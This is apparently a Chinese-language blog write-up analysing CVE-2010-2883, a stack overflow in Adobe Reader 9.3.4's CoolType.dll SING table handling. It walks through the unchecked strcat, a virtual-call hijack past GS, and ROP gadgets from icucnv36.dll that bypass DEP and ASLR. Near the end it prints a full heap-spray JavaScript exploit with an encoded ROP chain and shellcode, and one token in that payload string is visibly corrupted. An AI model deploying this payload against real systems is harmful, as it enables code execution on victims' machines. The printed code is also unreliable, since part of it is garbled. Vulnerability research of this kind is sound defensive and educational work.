title: CVE-2010-2883 分析
date: 2018-04-22 20:11:11
categories:
XP sp3
Adobe Reader 9.3.4
IDA 、 OD
漏洞位于 CoolType.dll 文件, 一个典型的stack overflow的漏洞。
漏洞出现的原因是在堆SING表格的解析上,使用strcat时没有做长度判断,alt+t搜索SING字符可定位漏洞位置。
pdf 的文件格式由四部分组成:
header |
---|
body |
xref table |
trailer |
文件头
文件头是 PDF 文件的第一行,指明了 PDF 文件的版本号,通常格式为 %PDF-1.x, 其中 x 为 1~7.
主体
这是 PDF 文档的主题部分,题目通常由对象文件组成,对象文件包含有文本流,图片以及其他的多媒体文件等等.
交叉引用表
交叉引用表包含了对文档中所有对象的引用,其目的是使得处理 PDF 时可以随机访问对象. 每一个对象在交叉引用表中占据一项.
文件尾
PDF 文件尾部指明了 PDF 文档的相关信息以及交叉引用表的位置. 所有的 PDF 阅读工具都应该先读取 PDF文档尾.
这里主要关注 交叉引用表 xref table
交叉引用表以 xref 开头,单独占据一行.
一个 PDF 文档可能有多个子节区(subsection),而示例中的 PDF 只有一个子节区. 所以接着的一行表示该 PDF 文档字节区中对象的起始编号,以及节区中包含的对象数. 示例中表示本子节区对象的起始编号为 0,包含的对象个数为 15 个, 对象编号按照行依次递增,也就是说第二行表示的对象的编号为 1.
接着的 15 行为每一个对象的属性描述(此处称之为对象属性行). 对象属性行的长度固定为 18 字节(不包括换行符), 我们看到一共分为三列,第一列表示对象在 PDF 中的文件偏移(使用中的对象属性行), 第二列表示对象的生成号,第三列用 f 表示 free(空闲) 或者 n 表示 used(使用中).
属性行中第一行和最后一行比较特殊,第一行对应的对象 ID 为 0,包含的生成号总是 65535, 位于空闲对象链表的首部.而最后一行中的生成号总是 0.
对于空闲属性行,第一列表示下一个空闲对象的编号,所有的空闲对象正好构成一个空闲单向环形链表, 也就是说空闲链表的最后一个元素指向第一个空闲对象(也就是编号为 0 的对象). 对于该示例 PDF,由于只有一个空闲对象,所以第一列的值为 0.
看属性行中的第二行,也就是 0000000015 00000 n, 表示第一个对象位于文件偏移 15 处(它的值就是十进制的,不是十六进制),生成号为 0 ,非空闲.
利用PdfStreamDumper导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save — Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构。
typedef sturct_SING{ //下图的红色
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;
根据TableEntry结构可知从SING入口偏移0x11c为SING真实数据(蓝色),在参考SING表的数据结构文档(参考官方文档或《漏洞战争》)知道SING从真实数据偏移0x10为uniqueName域(绿色),从代码上可以看出strcat是将uniqueName复制到栈空间,直至遇到NULL字符串终止符。
漏洞成因: strcat导致栈覆盖this指针,控制虚函数表
很多时候只是想知道一个函数大致是做什么工作的: 猜测+观察前后寄存器值的变化+感兴趣的内存区域值的变化。
https://bbs.pediy.com/thread-221089.htm 这篇文章,师傅好像是直接静态分析出来有这样一个 call,
我认为单纯的分析有点难 ,可能技术太菜限制了我的想象 (╯-_-)╯~╩╩ 掀桌 。
我在这位师傅的总结的方法上添加了一点: (水平有限,下面的修改在一定程度上算是乱想吧)。
《0day第二版》第十章中介绍了两种绕过GS的方法: 攻击异常处理函数,覆盖虚函数。
覆盖异常处理函数需要 0x12e70c - 0x12e4d8 = 0x234 , 实现起来比较麻烦。
然后选择尝试覆盖虚函数:
先全部填AAAAAA,然后看exception,遇到读写错误这些的就找个稳定可读写的内存解决了,然后最后看到个执行错误(eip=0x41414141)。
执行到0x8001253 时,会将eax数据复制到 [esi] (调试一下可知)。
[esi] 地址需要可读写地址,这个DLL上的地址在各个版本都是不变的,保证兼容和稳定。
再次F9 就可以断到 call [eax]。
调用栈:
0803DDAB E8 483D1300 call jmp.MSVCR80.strcat
0803DEAF E8 2A8DFDFF call CoolType.08016BDE
08016C56 E8 C64E0000 call CoolType.0801BB21
0801BB41 FF10 call dword ptr ds:[eax]
0808B308 FF10 call dword ptr ds:[eax] // 触发点
eax 来自 edi+0x3c处的栈地址 , 这个地址就是被我们覆盖的栈地址。
继续执行就会到ROP1,为什么 add ebp,0x749 , 我认为只要ebp重新回到被我们覆盖的栈范围就可以。
leave:
mov esp,ebp
pop ebp
继续执行下一个ROP2。
我们就可以执行到 0x0c0c0c0c 处的代码了。
依次调用CreateFileA->CreateFileMappingA->MapViewOfFile->memcpy将栈上的shellcode复制到有r-w-x权限的内存段,这样我们就绕过了DEP。
理论上也可以通过ROP调用VirtualProtect修改shellcode所在位置的属性为可读可写可执行进而执行shellcode。
ROP指令时均使用icucnv36模块中的地址,因为icucnv36.dll不受ASLR保护,因此也可以用于绕过ASLR保护。
嵌入到PDF中的javascript代码实现Heap Spary,进而执行ROP,最后跳入shellcode执行。
<script type="text/javascript">
var s = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u91be%u7e18%udb51%ud9c4%u2474%u5af4%uc931%u31b1%u7231%u0313%u1372%uea83%ufa6d%uad8b%u7965%u4e73%u1e75%uabfd%u1e44%ub899%uaef6%uede9%u45fa%u05bf%u2889%u2968%u863a%u044e%ubbbb%u07b3%uc63f%ue7e7%u097e%ue6fa%u7447%ubbf7%uf210%u2baa%u4e15%uc777%u5e65%u34ff%u613d%ueb2e%u3836%u0df0%u309b%u15b9%u7df8%uad73%u0aca%u6782%uf203%u4629%u01ac%u8e33%ufa0a%ue646%u8769%u3d50%u5310%ua6d4%u10b2%u034e%uf443%uc009%ub14f%u8e5e%u4453%ua4b2%ucd6f%u6b35%u95e6%uaf11%u4ea3%uf63b%u2009%ue844%u9df2%u62e0%uc91e%u2898%u0c74%u572e%u0e3a%u5830%u676a%ud301%uf0e5%u369e%u0e42%u1bd5%u87e2%uc9b0%uc5b7%u2442%uf3fb%ucdc0%u0783%ua7d8%u4c86%u5b5e%uunescapefa%u5b0b%udea9%u3819%u4d2c%u91c1%uf5cb%uee60' );
var a = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a.length + 20 + 8 < 65536) a+=a;
c = a.substring(0, (0x0c0c-0x24)/2);
c += s;
c += a;
f = c.substring(0, 65536/2);
while(f.length < 0x80000) f += f;
k = f.substring(0, 0x80000 - (0x1020-0x08) / 2);
var NwBg = new Array();
for (OYV=0;OYV<0x1f0;OYV++) NwBg[OYV]=k+"s";
</script>
函数结束前(绕过GS)会先call一个栈上的地址(调用虚函数),将EIP控制到栈上执行0x0c0c0c0c。
为什么会想到用虚函数:逆向分析得到有虚函数,猜测会在函数返回前调用(控制执行流)。
ahageek - CVE-2010-2883 Analysis
4ct10n - 漏洞分析之CVE-2010-2883(栈溢出)
wooy0ung - CVE-2010-2883分析 & 复现
holing - [原创]CVE-2010-2883分析笔记
《漏洞战争》
《0day》